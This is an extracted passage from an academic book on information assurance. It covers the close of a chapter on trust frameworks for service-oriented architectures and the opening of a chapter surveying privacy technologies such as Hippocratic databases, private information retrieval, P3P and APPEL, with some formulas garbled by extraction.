3. Trust Computing with Service Oriented Architecture Trust is a multi-dimensional problem that involves different social issues as well as various engineering challenges and it is hard to provide a thorough solution of trust computing with full coverage of all considerations. Thus we will not discuss social parts in this paper, which define trust as a mental state, a social attitude and relation [23], and we focus on solid engineering supports instead. Figure 1 illustrates our proposed framework for trust computing with service oriented architecture. We employ TCG’s trusted computing platform as the foundation of the framework and apply cryptography infrastructure as the enabling technologies to secure all communications. Notwithstanding there has some controversies over TCG’s trusted computing platform such as consumer privacy, software copyright and host autonomy, we advocate deploying the platform to exploit its prominent capability of remote attestations. It is obvious that a user has higher confidences in a computer system if the system can prove its integrity to the user than in the ones that cannot do. On the other hand, all interactions among service requesters, service providers and service registries are enforced to operate upon secure SOAP messages, which signify that communicating parties are empowered by agreed cryptographic techniques to verify each other’s identity and exchanged data as well. The rationale of choosing SOAP as transport protocol is its widespread acceptance and flexible envelope mechanism. The envelope is a message-encapsulation protocol that could separate application-specific information expected by communicating parties from other optional data such as routing path and security data. Hence it is suitable to choose SOAP as the communication protocol among service requesters, providers and registries.
Figure 1. Framework for trust computing
76
J.-Y. Chung et al. / Extending Trust Computing with Service Oriented Architecture
From service’s perspective, we classify trust concerns into three phases namely service description and publishing, service discovery and composition and service execution and monitoring. We consider that a Web service is trustworthy for a service requester if the service can fulfill the requester’s functional and non-functional requirements. As trust has multi-dimensional concerns, the consideration can help us determine the scope of a trustworthy Web service technologically and avoid involving other non-technological aspects, which may need advanced social engineering technique and that is beyond the scope of this paper. By exposing non-functional descriptions, service requester will be more confident of a Web service in terms of the understanding of the service’s non-functional characteristics, for example, security capability, quality property and execution performance etc. In our previous works [24], we proposed some non-functional attributes of a Web service as illustrated in Figure 2. We do not intend to provide a thorough non-functional schema here but want to show that how non-functional attributes contribute to the trustworthiness of service-oriented business process integration.
Figure 2. Example of non-functional attributes
In order to convince service requesters of offered service’s characteristics and build good reputation for fair service advertisements, service providers should describe both functional and non-functional characteristics of offered service as precise as possible. We provide some guidelines for service providers to precisely describe proposed nonfunctional attributes as follows. • Security considerations: A service can be associated with one or more security tokens that are verifiable credentials owned by the service provider. Besides, service provider can also enumerate all offered cryptographic methods accompanied with various algorithms so that service requester and service provider can negotiate a preferable method in advance.
77
J.-Y. Chung et al. / Extending Trust Computing with Service Oriented Architecture
•
Quality considerations: We proposed three common features i.e. reliability, availability and usability, to characterize quality descriptions of a Web service. In order to convince service requester of service’s quality descriptions, service provider should conduct a great deal of experiments to test the quality features of offered services and honestly specify evaluation results with the following metrics. Availability = Reliability = 1
MTTF MTTF + MTTR No. of Failures No. of Executions
MTTF = Mean Time to Failure MTTR = Mean Time to Recovery
•
However, usability is very subject to different opinions and thus it is much harder for service provider to provide fairly objective and precise descriptions of usability feature. An applicable measurement of usability is to collect feedbacks from service requesters by linear grading, for example, highly useful (90% ~ 100% satisfactions), useful (70% ~ 90% satisfactions), acceptable (50% ~ 70% satisfactions) and poor design (0% ~ 50% satisfactions). With linear grading, service requesters can objectively determine whether a service is useful or not by quantifying overall perceptions of the service. Performance considerations: We proposed two key attributes of a service’s performance namely response time and throughput. Service provider can follow certifiable software development methods [25] and adopt model-based performance risk analysis [26] to precisely evaluate offered service’s performance by taking the service as a queuing network model. In order to simplify the evaluation process, service provider can adopt batch workloads, which denote the evaluation is based on a fixed population. The assumption of batch workloads has two important advantages: (1) It is more intuitive and efficient for a service requester to setup a performance requirement based on fixed population than on varied population over time. (2) Batch workloads require only one parameter for the estimation i.e. computing demands of each component. However, transaction workloads (i.e. varied population over time) require two parameters namely computing demands of each component and request arrival rate. Table 1 shows asymptotic upper bound and lower bound of proposed performance attributes: response time R(N) and throughput X(N), with a batch workload N given by [27]. Table 1. Asymptotic bounds of response time and throughput
Performance issue Response time R(N) Throughput X(N)
Upper bound
Lower bound
N
max( D
D N 1 min( ) D Dmax
N
1 D
Remarks: 1. D is the sum of computing demands of all components. 2. Dmax is the maximum computing demands among all components. 3. N is the number of requests, which is greater or equal to one.
Dmax )
78
J.-Y. Chung et al. / Extending Trust Computing with Service Oriented Architecture
Figure 3 is an annotated UML example of a service named “Goods Delivery”, which demonstrates how to derive all required computing demands from annotated UML diagrams, and service provider can complete the annotation in 3 steps. (1)
Firstly, service provider should analyze functionalities of the service and draw down the sequence diagram following UML specification [28].
(2)
Service provider can identify all component actions from the sequence diagram and estimate required computing demands of each component action based on its complexity as illustrated in Figure 3(a).
(3)
With the aid of stereotype mechanism, service provider can annotate the deployment diagram with concrete resource types. Besides, service provider should also specify the performance characteristic of each deployed resource type as illustrated in Figure 3(b).
(a) Annotated sequence diagram
J.-Y. Chung et al. / Extending Trust Computing with Service Oriented Architecture
79
(b) Annotated deployment diagram
Figure 3. An example of “Goods Delivery” service
According to annotated information, service provider can calculate computing demands of each component as follows: DUser Interface = 30150 sec, DSchedule Agent = 21550 sec, DBilling Agent = 22010 sec Then service provider can evaluate the asymptotic bounds of offered service’s performance as shown in Table 2. Table 2. Asymptotic bounds of “Goods Delivery” service
Performance Upper bound issue Response time N 0.07371sec R(N) Throughput X(N)
min(
Lower bound
max(0.07371sec N 0.03015 sec)
1 1 N ) 0.07371 0.03015 0.07371
Remarks: 1. N is the number of requests, which is greater or equal to one.
80
J.-Y. Chung et al. / Extending Trust Computing with Service Oriented Architecture
Based on enriched service descriptions, service requesters are empowered to specify non-functional requirements of desired services but how to utilize these fruitful descriptions to compose a trustworthy service composition for a specific business goal is another research issue. In our previous works [24], we defined a generation process of trustworthy service composition as illustrated in Figure 4.
Figure 4. Generation of trustworthy service composition
Firstly, we claime that a service requester will trust a service if the service can satisfy all the following conditions: (1) The service fulfills requester’s functional requirements – The requester can ensure the service will be performed as his expectations. (2) The service matches with requester’s non-functional requirements – The requester can assure himself that the service will support required security capability, provide required quality and complete the work in the expected time. (3) The identity of the service provider should be verifiable – The provider should present his credential to convince the requester of his identity. Secondly, after retrieving all required services, we can perform service compositions to aggregate retrieved services and describe the composition model with BPEL4WS specification [8]. In addition to check the trustworthiness of each service, it is also critical to ensure the correctness of the composition model and we utilized Petri nets [29] to verify the composition model based on service’s past experiences analysis.
J.-Y. Chung et al. / Extending Trust Computing with Service Oriented Architecture
81
Service execution monitoring is the most important step to check whether services will be executed as requester’s expectation including both functional and nonfunctional requirements. For security considerations, the WS-Security specification [30] can provide a general-purpose mechanism for associating security tokens with SOAP messages to accommodate a wide range of security models supported by different services providers and requesters. We can carry out various security mechanisms such as identity authentication, data encryption and digital signature to enhance the trustworthiness of services executions. Figure 5 shows a general process of data encryption and decryption with WS-Security. In addition to the security considerations, we also need some monitoring mechanism to evaluate other considerations such as reliability and availability. A possible solution is to enforce each BPEL4WS engine on recording each service execution and the BPEL4WS engine should be responsible for reporting past experiences to the UDDI registry [7] where the service registered. We may also need to create an auxiliary repository accompanying with each UDDI registry for the management of reported records. On the other hand, in order to invoke a qualified service at runtime based upon examination of the service’s meta-data, service providers can apply Web Services Invocation Framework (WSIF) [31] in conjunction with WSDL to defer choosing a binding until runtime. The decoupling of the abstract invocation from the real provider that does the work results in a flexible programming model that allows dynamic invocation, late binding and clients being unaware of large scale changes to services such as service migration or change of protocols.
Figure 5. Encryption / decryption process
82
J.-Y. Chung et al. / Extending Trust Computing with Service Oriented Architecture
4. Summary and Future Works We have presented our framework for trust computing with service-oriented architecture and key issues can be summarized as the following: 1. In service description and publishing phase, services should be enriched with nonfunctional descriptions. Service providers should specify offered service’s functional and non-functional characteristics precisely so that service requesters can correctly judge whether there has desired services or not. 2. In service discovery and composition phase, each constituent Web Service should be trustworthy as well as their providers and the whole composition should be verified by formal methods. Besides, UDDI registry should be expanded to keep enriched non-functional descriptions. 3. In service execution monitoring phase, services should have the ability of supporting security requirements to promise the trustworthiness of execution results and BPEL4WS engine should support service monitoring and log the service’s performance. In our future works, we plan to perform some experiments on real world scenarios and to demonstrate an agile and efficient paradigm of business process integration (BPI) based on proposed framework. We will concentrate our attention on the development of trustworthy service-oriented architecture including dependable service provision, selection, composition and execution so that both service providers and service requesters will have confidence in all interactions between each other.
References [1]
[2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13]
C. E. Landwehr, 1993, "How far can you trust a computer?," Proc. of 12th Int’l conference on Computer Safety, Reliability and Security (SAFECOMP 93), J. Gorski, ed., ISBN 0-387-19838-5, Springer-Verlag, New York. P. G. Neumann, 1978, "Computer security evaluation," Proc. of National Computer Conference, pp. 1087-1095. Trusted Computing Group, 2005, "Trusted Computing Group," Trusted Computing Group, https://www.trustedcomputinggroup.org/. IBM developerWorks, n.d., "New to SOA and Web services," http://www128.ibm.com/developerworks/webservices/newto/. N. Mitra, 2003, "SOAP Version 1.2 Part 0: Primer," WWW Consortium, http://www.w3.org/TR/2003/REC-soap12-part0-20030624/. R. Chinnici et al, 2004, "Web Services Description Language (WSDL) Version 2.0 Part 1: Core Language," WWW Consortium, http://www.w3.org/TR/wsdl20/. T. Bellwood, L. Clement and C. V. Riegen, 2003, "UDDI Version 3.0.1," OASIS, http://uddi.org/pubs/uddi_v3.htm. T. Andrew et al, 2003, "Business Process Execution Language for Web Service Version 1.1," IBM DeveloperWorks, http://www.ibm.com/developerworks/library/ws-bpel. TRUST, 2005, "Team for Research in Ubiquitous Secure Technology (TRUST)," http://trust.eecs.berkeley.edu/. L. v. Doorn, J. Dyer, R. Perez and R. Sailer, n. d., "4758/Linux Project," http://www.research.ibm.com/secure_systems_department/projects/linux4758/index.html. A. Erradi and P. Maheshwari, 2005, "wsBus: QoS-aware Middleware for Reliable Web Services Interactions," Proc. of IEEE EEE05, pp. 634-639. G. Wang, A. Chen, C. Wang, C. Fung and S. Uczekaj, "Integrated Quality of Service (QoS) Management in Service-Oriented Enterprise Architectures," Proc. of IEEE EDOC04, pp. 21-32, 2004. V. Tosic and B. Pagurek, 2005, "On Comprehensive Contractual Descriptions of Web Services," Proc. of IEEE EEE05, pp. 444-449.
J.-Y. Chung et al. / Extending Trust Computing with Service Oriented Architecture
83
[14] N. Kavantzas, D. Burdett, G. Ritzinger and Y. Lafon (eds.), 2004, "Web Services Choreography Description Language Version 1.0." WWW Consortium, http://www.w3.org/TR/2004/WD-ws-cdl-1020041217/. [15] S. Bajaj et al, 2004, "Web Services Policy Framework (WS-Policy)," BEA, IBM, Microsoft etc., http://www-106.ibm.com/developerworks/library/specification/ws-polfram/. [16] A. Keller and H. Ludwig, 2003, "The WSLA Framework: Specifying and Monitoring Service Level Agreements for Web Services," Plenum Publishing, Journal of Network and Systems Management, Vol. 11, No. 1, pp. 57-81. [17] V. Tosic et al, 2003, "Management Applications of the Web Service Offerings Language (WSOL)," Springer-Verlag, Proc. of CAiSE03, pp. 468-484. [18] The OWL Services Coalition, n.d., "OWL-S: Semantic Markup for Web Service Version 1.0," http://www.daml.org/services/owl-s/1.0/owl-s.html. [19] J. Zhang, L. J. Zhang, and J.Y. Chung, 2004, "An Approach to Help Select Trustworthy Web Services," Proc. of IEEE CEC-East, pp. 84 – 91. [20] M. C. Jaeger, G. R. Goldmann and G. Muhl, 2005, "QoS Aggregation in Web Service Compositions," Proc. of IEEE EEE05, pp. 181-185. [21] P. Liu and Z. Chen, 2004, "An Extended RBAC Model for Web Services in Business Process," Proc. of IEEE CEC-East, pp.100 – 107. [22] J. Zhang, L. J. Zhang and J. Y. Chung, 2004, "WS-Trustworthy: A Framework for Web Services Centered Trustworthy Computing," Proc. of IEEE SCC04, pp.186-193. [23] C. Castelfranchi and R. Falcone, 2001, "Social Trust: A Cognitive Approach, Trust and Deception in Virtual Societies," Kluwer Academic Press, pp. 55-90. [24] S. Yang, C. Lan, J. Chung, 2005, "A Trustworthy Web Services Framework for Business Processes Integration," Tenth IEEE International Workshop on Object-oriented Real-time Dependable Systems (WORDS 2005). [25] SEI, 2004, "Capability, Maturity Model Integration," Carnegie Mellon University, http://www.sei.cmu.edu/cmmi /cmmi.html. [26] V Cortellessa, et al, 2005, "Model-Based Performance Risk Analysis," IEEE Trans. on Software Engineering, Vol. 31, No. 1, PP. 3-20. [27] E. D. Lazowska, 1984, "Quantitative System Performance: Computer System Analysis Using Queuing Network Models," Prentice-Hall. [28] G. Booch, I. Jacobson and J. Rumbaugh, 1998, "The Unified Modeling Language User Guide," Addison Wesley. [29] S. Yang, J. Hsieh, C. Lan, J. Chung, 2005, "Composition and Evaluation of Trustworthy Web Services," IEEE EEE05 International Workshop on Business Services Networks (BSN 2005). [30] B. Atkinson et al, 2002, "Web Services Security (WS-Security) Version 1.0," IBM, Microsoft, and VeriSign, http://www.ibm.com/developerworks/library/ws-secure/. [31] Apache Software Foundation, 2004, "Web Services Invocation Framework," http://ws.apache.org/wsif/.
84
Information Assurance and Computer Security J.P. Thomas and M. Essaaidi (Eds.) IOS Press, 2006 © 2006 IOS Press. All rights reserved.
Privacy Preserving Third-party Architectures a
Barbara Carminati a , Elena Ferrari a,1 University of Insubria at Como, Via Valleggio, 11 - 22100 Como - Italy
Abstract. The progressively relevance that each organization and company is giving to user’s privacy has increased the need of devising comprehensive privacypreserving solutions able to take into account different privacy concerns. The advent of the web has further exacerbated the problem of privacy protection and the need of privacy-preserving techniques. Indeed, the growing attention to privacy issues has resulted in many proposals for privacy preserving techniques, some of which are overviewed in this chapter. However, no efficient solution for a privacypreserving distribution of data over the web has still emerged. For this reason, in this chapter, we propose a solution based on third-party architecture for efficiently manage personal data over the web. Main benefits of the proposed system are its scalability, in terms of number of users and amount of data, the compliance with emerging web standards, and the enforcement of different privacy requirements of data owners.
1. Introduction Privacy is a state or condition of limited access to a person [6]. In the information technology era, privacy refers to the right of users to conceal their personal information and have some degree of control over the use of any personal information disclosed to others [12]. The advent of the web has exacerbated the problem of privacy protection and the need of privacy-preserving techniques. On the one hand there is an increasing need of sharing personal information over the web (for instance for marketing or statistical purpose). On the other, there is an increasing need of selectively disclosing personal information in that a user should be ensured that his/her personal data are only released according to the specified privacy policies. The growing attention to privacy issues has resulted in many proposals for privacy preserving techniques (some of them are discussed in Section 2). In the context of web, one of the most relevant result is represented by the P3P standard [26] and the related technologies. When accessing a web site, a user should set his/her P3P-enabled browser with his/her privacy preferences, and, before interacting with a web site, verify the compatibility between web site’s privacy practices and his/her preferences. This solution relies on the traditional client-server interaction between a user, requesting some services, and a service provider (see Figure 1(a)). In this chapter we focus on an alternative and 1 E-mail:
{barbara.carminati, elena.ferrari}@uninsubria.it
B. Carminati and E. Ferrari / Privacy Preserving Third-Party Architectures
DBMS Server
85
Data
Outsourced db
Internet Internet
Service Provider /Publisher
Data owner Results Queries
Client (a)
(b)
Client
Figure 1. Two-party architecture (a) vs. third-party architecture (b)
innovative way of managing personal data over the web, which relies on a third party architecture. Third-party information dissemination represents today an interesting paradigm for data-intensive web-based applications in a large variety of contexts, from grid computing to web services or P2P systems. Relevant applications include large-scale federated Digital Libraries, e-commerce catalogs, e-learning, collaborative applications, content distribution networks. A third-party architecture relies on a distinction between the Owner and the Publisher of information. The Owner is the producer of information, whereas Publisher provides data management services and query processing functions for (a portion of) the Owner’s information. The idea of third-party architectures (cfr. Figure 1(b)) is that the information owner (i.e., user) outsources all or portions of his/her data to one or more publishers (in what follows referred to as collectors) that provide data management services and query processing functions. Main benefits of the third party paradigm are scalability, reduction of costs, and efficiency. The owner is leveraged by the burden of answering queries, that are instead managed by a set of collectors spread all over the world, and thus it cannot become a bottleneck for the whole system. The cost of data management is amortized across several users and this results in a reduction of the overall cost. Additionally, collectors can be equipped with sophisticated anti-intrusion tools and techniques to avoid queries floods [3], thus preventing resource waste and security breaches. Exploiting a third party architecture for managing personal data over the web implies that an user is no more in charge of interacting with each service provider for the release of his/her personal data. If a web user makes use of such a system for personal data management he/she can delegate the management of his/her personal data to one or more collectors, to which he/she subscribes only once. Then, each time he/she is required to submit his/her personal data to a web site, he/she simply informs the web site of who is the collector(s) entitled to manage them. The web site can then require the needed data to the collector without the need of interacting with the user. Clearly, the release of personal information by collectors should be controlled, in the sense that it should take place according to the privacy preferences of the data owner. As such ad-hoc techniques should be designed to ensure that this requirement is satisfied. A naive solution to this problem is that of requiring collectors to be trusted, that is, to assume that a collector always operates according to the privacy policies stated by data owners. However, this is not a realistic assumption in the web environment because
86
B. Carminati and E. Ferrari / Privacy Preserving Third-Party Architectures
web servers can easily be attacked and penetrated. The challenge is therefore how to enforce privacy preferences stated by the owner (i.e., web user) without relying on trusted collectors. In this chapter, after reviewing the main research proposal related to privacy enhancing technologies we propose a framework for a privacy-preserving third party architecture, which does not rely on the existence of trusted collectors. Main benefits of the proposed framework are its ability to protect the owner privacy both with respect to collectors and requestors, the ease of use even by users with little background on privacy-related technologies and the compliance with emerging web standards.
2. Survey on privacy technologies The progressively relevance that organizations and companies are giving to user’s privacy has pointed out the need of devising comprehensive privacy-preserving solutions able to take into account different privacy concerns. With this aim, research communities of different areas (e.g., DBMSs, networks, operating systems) have made a great effort with the result of several privacy-preserving approaches. In the following, we mainly focus on privacy solutions devised in the databases and web area, since they are the most related to the focus of this chapter. We first consider solutions mainly designed to preserve privacy in DBMSs, then, we focus on techniques to address privacy issues over the web. 2.1. Privacy in DBMSs In each organization/industry willing to enhance its businesses with privacy-preserving solutions, privacy issues related to DBMSs cover a major role. Indeed, since DBMSs are the main component managing user’s personal data, privacy in this context has been deeply investigated, with the result of several approaches and techniques. Before discussing the major efforts carried out in the DBMS area, it is better to clarify which are the privacy issues that need to be investigated in this context. In doing that we refer to the common interactions that users have with a DBMS: • Users delegate data management to DBMSs. However, users want to be ensured that their personal data are handled and accessed according to their privacy preferences. For instance, they want to be sure that data are only used for the claimed purpose, or that data are not transferred outside the DBMS, and so on. • There are privacy concerns also related to query processing. Indeed, users submitting a query to a DBMS may not want the DBMS to know the details of the query, being at the same time able to process it. This is the case, for instance, of a broker inquiring a stock-market database for financial analysis purposes. He/she definitely prefers to keep secret the stocks on which he/she is performing a query, since this can give information on the types of investments the broker is going to perform. • Other privacy issues are related to statistical databases. In such a context, there is often the case that data mining techniques are used. Therefore, there is the need of protecting personally identifiable data, while performing data mining operations. In these last years, all these issues have been deeply investigated. In the following, we present some of the most relevant efforts towards privacy-preserving solutions
B. Carminati and E. Ferrari / Privacy Preserving Third-Party Architectures
87
for each of the above-mentioned issue. More precisely, we overview the IBM Hippocratic database, as an example of solution for protecting user private information inside databases, the Private Information Retrieval (PIR) protocol, to address privacy issues in query processing. Finally, we review some of the most relevant approaches for privacypreserving data mining. 2.1.1. IBM Hippocratic database The IBM Hippocratic [1] project is inspired by privacy principle of the Hippocratic Oath regulating the doctor-patient relationships. The main goal of the project is to design a DBMS architecture having privacy as a central concern. Pursuing this goal, the Hippocratic database has been designed having in mind the following main privacy principles: • Purpose Specification. The purposes for which data has been collected shall be associated with the data. • Limited Use/Disclosure. The data shall be processed according to the corresponding purpose. Thus, the database shall run queries consistent with data’s purpose. The database shall not release data for a purpose different from the one for which the data have been collected. • Limited Retention. Database shall retain data only for the period necessary for the achievement of the purposes for which the data have been collected. • Openness/Compliance. A user shall be able to access all his/her information stored in the database, and to verify compliance with the above principles. To ensure the above-mentioned principles, the Hippocratic database architecture allows a user to specify his/her privacy preferences for information access and usage, and to check them against the organization’s privacy policies. More precisely, before a user provides his/her data to the Hippocratic database, he/she checks whether the organization’ privacy policies do not violate his/her privacy preferences. If this is the case, the user submits his/her data, to be stored into the database. The user also submits a special information, called purpose, which encodes the possible purposes according to which his/her data can be processed. Possible purpose values are, for instance, "purchase", and "registration". The purpose component plays a key role. By associating purpose(s) to his/her personal data, the user is able to limit their access and usage to all and only the processes (i.e., queries) related to the claimed purpose. However, further information is needed to manage in a privacy-preserving way personal data. Therefore, in addition to the purpose attribute, a user also specifies the external-recipients attribute, i.e., information about outsiders to which the data can be distributed, the retention-period, i.e., how long data can be retained in the database (once the period is expired, the Hippocratic database automatically deletes the data), and authorized-users, that is, the set of users that can access the data. The Hippocratic database then requires that all queries are submitted together with their intended purposes. During query processing, the query’s purpose is matched against the purposes of the data answering the query, and the requestor is returned only the data whose purpose matches. Moreover, before the query is processed, the Hippocratic database verifies whether the requestor is an authorized user, that is, an user specified into the authorized-users component. The Hippocratic database encodes privacy policies by a privacy language called Enterprise Privacy Authorization Language (EPAL) [13]. The goal behind EPAL is to en-
88
B. Carminati and E. Ferrari / Privacy Preserving Third-Party Architectures
able an organization/industry/enterprise to encode its privacy-related data-handling policies and practices in a standard-based markup language (i.e., XML) to facilitate privacy enforcement. EPAL syntax has been designed by enhancing traditional access control rules languages with the following information: data categories, user groups, purposes, actions, obligations, and conditions. Data categories represent an high-level classification of data, used to define different categories of collected data that are differently handled from a privacy perspective, such as financial data, customer contact information, or medical records. User-groups describe users or groups accessing collected data from a privacy perspective, such as investors, employees, or employee groups. Purposes are used to model the intent for which data are used, such as investments, or marketing. Through the actions component, EPAL rules describe privacy-relevant actions allowed on data. Obligations are used to define actions that must be taken by organization, such as "All accesses against a certain type of data for a given purpose must be logged". By contrast, the conditions components state possible constraints on which an authorization can depend on. 2.1.2. Private Information Retrieval Another key aspect when protecting user’s privacy in DBMSs is related to query submission. This is a very relevant topic, if we consider that by tracking user’s queries, a database server could infer information about user preferences. Moreover, the database could contain sensitive information, whose request itself represents a sensitive information. The trivial solution to this problem is to make the user able to download the whole database and locally and privately execute his/her queries. This solution obviously is impracticable, in that it implies an high communication overhead. One of the most relevant attempts to solve such problem in a more efficient way is represented by Private Information Retrieval protocols (PIR, for short) firstly introduced in [7], whose goal is that of retrieving information from a database by keeping the submitted queries secret. To clarify how PIR protocols work we introduce the problem formulation stated by Chor et al. [9]. A database is modeled as a binary string X =x1 ,. . .,xn of length n (i.e., a database having n entries, where each entry is a single bit). Identical copies of this string are stored into k > 2 non communicating database servers. Thus, given an index i, if a user wishes to retrieve the i-th bit, i.e., xi , he/she queries each of the servers by submitting to each of them a set of different queries that are distributed independently of i, thus to make the server not able to infer the value associated with index i. In general, solutions of such a kind are called a Private Information Retrieval (PIR) scheme. Thus, the underling idea of PIR protocols is to replicate the database, by imposing that users submit different queries to each different server. Queries are defined in such a way that by combing the servers’ answers the user is able to obtain the desired information, whereas by analyzing the submitted query each server can not infer what the user is really interested in. Let us √consider, √ for instance, the PIR schema presented in [7], which views the database as a n × n bit array1 . It exploits the properties of the XOR operator for query formulation. Consider, for simplicity, the case of k=4 servers. √ If a user wants to retrieve the bit xi1 ,i2 , he/she generates two strings σ, τ ∈ {0, 1} n , and computes two additional strings such that σ = σ ⊕ i1 and τ = τ ⊕ i2 .2 The user, 1 Indexes
are represented as ordered pairs (i1 ,i2 ). that according to the properties of the XOR operator, if σ is a string and i < |σ| then σ ⊕ i is the string σ with the i-th bit flipped. 2 Note
B. Carminati and E. Ferrari / Privacy Preserving Third-Party Architectures
89
then, sends two different strings to each database: DB1 receives σ, τ ; DB2 receives σ, τ ; DB3 receives σ , τ ; DB4 receives σ , τ . Once received the four bits as answers from databases, the user XORs them, obtaining xi1 ,i2 , since this is the only bit that appears an odd number of times in the received answers. In the last years, several PIR schemes have been defined, aiming to reduce the communication overhead or relax some of the hypothesis stated in the above problem formulation. For instance, in [8,15] an extension has been proposed, where the database record is a block of several bits, rather than one bit only. A PIR solution relying on a single database has been proposed in [16]. Solutions for single database have been also proposed under the assumption of exploiting tamper-proof devices [20,21]. Another interesting extension to PIR protocols is to consider also the privacy of the database, by preventing user from learning more than the asked records (bits) from the database during a session. These protocols, called Symmetrical PIR, have been studied both for single server [16] and for several servers [18]. 2.1.3. Privacy preserving data mining It is often the case that databases containing large amounts of personal records are examined by analytic and statistical tools for discovering valuable and non-obvious information. Indeed, nowadays both private and public organizations exploit data mining algorithms and knowledge discovery techniques for discovering new patterns and possible trends to be used for disparate goals, for instance in business or research areas like medical analysis. Obviously, also in this context there exist relevant privacy concerns. Let us consider, for example, the healthcare scenario. We can easily figure out several interesting and necessary data mining analysis that could be very relevant in real situations, like for example, a study for detecting possible public health problems outbreaks. However, given the sensitivity of personal information related to health, it is also easy to identify different privacy concerns that an individual could have in authorizing the access to his/her data even for medical analysis purpose (see HIPAA privacy rules [22]). The individual, for instance, could prefer not to share some of his/her personal health information (i.e., admissions in mental hospitals), and/or to be ensured that from the released information it is not possible to go back to his/her identity. From previous examples, we can point out two main privacy concerns [10] that should be considered in privacypreserving data mining processes: first there is the need to hide raw personal information (like identifiers, names, etc.), which can directly compromise individual privacy; second there is the need to verify whether from a data mining analysis one is able to infer sensitive knowledge compromising individual privacy. The main goal of privacy-preserving data mining techniques is therefore to investigate how and whether it is possible to alter the original data in such a way that for the mining process it is still possible to obtain valid information, without revealing, at the same time, personal identifiable data and sensitive knowledge. Given the relevance of the topic, privacy preserving techniques for data mining processes have been deeply investigated with the result of several new approaches, which differ in several ways. As an example, a key feature of privacy preserving data mining algorithms is the exploited schema for modifying raw data to be released. Possible data modification schemes are, for instance, perturbation, where an attribute value is replaced with a new one; blocking, which replaces an existing attribute value with a "?"; aggregation, where several values are merged into a coarser category; swapping, that is, the
90
B. Carminati and E. Ferrari / Privacy Preserving Third-Party Architectures
interchange of values of individual records; and sampling, which imposes the release of data for only a sample of a population. Another relevant feature characterizing different privacy preserving data mining approaches is the privacy preserving technique used for the selective modification of data. There could be for instance heuristic-based privacy preserving techniques, cryptography-based (like secure multiparty computation [17,19]), and reconstruction-based techniques, where modification of the data is defined in such a way that it is still possible to reconstruct the original data from perturbed ones. We refer the interested reader to [23] for a detailed survey on privacy preserving data mining. 2.2. Privacy on the web Today Internet is one of the most exploited communication links. To have an idea of the privacy issues arising in this scenario, we need just to think about some of the services that we use everyday. These are, for instance, email services, telnet-based tools, instant messaging services, voice over IP services, web e-commerce transactions, or simple web surfing. All these actions could be a threat to user’s privacy. For instance, a user could have some concerns about the capability of web sites of tracking and monitoring his/her accesses, or to be identified (i.e., name and address) while he/she uses some services (like, for instance, forum, chatrooms, and so on). All these privacy issues can be referred to as anonymity concerns. By contrast, others relevant privacy issues in the web are most related to how and for which purpose the collected personal data are used by a web site. In this respect, a great effort has been done by the W3C consortium that proposed a standard way to represent organizations’ privacy practices (i.e., P3P [26]) and user’s privacy preferences (i.e., APPEL [24]). This has made possible to automatically verify how and for which purpose web sites will process user’s personal data. In the next sections, we introduce some preliminary concepts on P3P and APPEL, since they represent the emerging standards for privacy practises representation on the web [11]. 2.2.1. P3P P3P policies make a web site able to specify its privacy practices in a standard format. Having privacy practices in a standard format makes them easily and automatically interpretable by user agents, which are thus able to match the privacy practises of a web site against the user’s privacy preferences to determine whether the web site respects the user’s privacy. In general, a P3P policy supplies information about the legal entity issuing the policy, the data the web site will collect, and how it will use them. Moreover, the P3P syntax makes a web site able to specify who are data recipients, and how long they will retain that data. Indeed, to make a P3P policy able to model a more complex privacy practice, the P3P syntax supports also the specification of a variety of other relevant information, such as for instance who is in charge of dispute resolution. Consider, for instance, the P3P policy presented in Figure 2. It supplies information about the entity issuing that policy (i.e., the ENTITY element). Moreover, it contains a statement stating that the AnotherWebSite organization collects user information (i.e., the DATA-GROUP element) only for developing and administrative purposes (i.e., the PURPOSE element), and that it does not redistribute them to other parties (i.e., the RECIPIENT element).
B. Carminati and E. Ferrari / Privacy Preserving Third-Party Architectures
91
<ENTITY> AnotherWebSite Como CO 22100 ITALY [email protected] <STATEMENT> <develop/>
Figure 2. An example of P3P policy
user
business-info
name
given
family
postal
telecom
online
Home-info
department
postal
telecom
online
Figure 3. An example of P3P data schema
Note that in order to univocally identify data on which a policy should apply, the P3P specification [26] proposes several data schemas suitable for different domain (e.g., user data, business data). Basically, a P3P data schema is an hierarchical organization of different information, called data elements, regarding the same specific domain. For example, the ‘user’ data schema contains general information about a user, represented by a set of data elements modeling information about user’s name, birthday, login, identity certificate, home and business information, etc.. All the data elements are organized into a hierarchy (see Figure 3), thus, for instance, the data element user.home-info contains postal, telecom and online data elements, which in turns contain further data elements. In addition to the predefined data schemas, users can also create and publish their own data schemas. 2.2.2. APPEL APPEL [24] makes a user able to express his/her privacy preferences in a standard format, thus to make them automatically matched against P3P policies of a web site. APPEL is based on an XML syntax according to which a privacy preferences is modeled through a set of preference-rules (called ruleset). More precisely, each rule is represented by means of a RULE element, whereas a set of connected rules3 is modeled by means of the RULESET element. By RULE element is possible to specify the behavior that should be triggered if one or more conditions, that is, the privacy preferences specified 3 APPEL supports a wide range of connectives (i.e., or, and, non-or, non-and, or-exact and and-exact), which makes it possible the definition of a wide range of rulesets.
92
B. Carminati and E. Ferrari / Privacy Preserving Third-Party Architectures
in the rule, are satisfied. To do that, the RULE element consists of the following main subelements/attributes: • policy subelement, which contains conditions associated with the rule. Note that, since these conditions represent the privacy preferences and thus must be matched against P3P policies, a common way to express them is according to the P3P syntax itself; • request-group subelement, which by specifying the resource or domain to which the rule applies, makes possible to state preferences for specific consumers. An example of such a rule is, for instance, only MyBookStore web site should be able to collect my data; • behavior attribute, which is a mandatory attribute stating what it should be done if a condition stated in the policy element matches the P3P policies of the requestor. Three standard behaviors are provided, namely, ‘request’/‘block’, which implies that resources can/cannot be accessed, and ‘limited’, which implies that resources should be accessed only if not necessary request headers are suppressed; • prompt optional attribute, which, if set to true prompts the user for a decision on whether the behavior specified in the rule should be performed or not. Figure 5(a) shows an example of APPEL rule that specifies user’s preference of releasing his/her first and last name only to consumers that use it for administrative purpose (see Section 4.3).
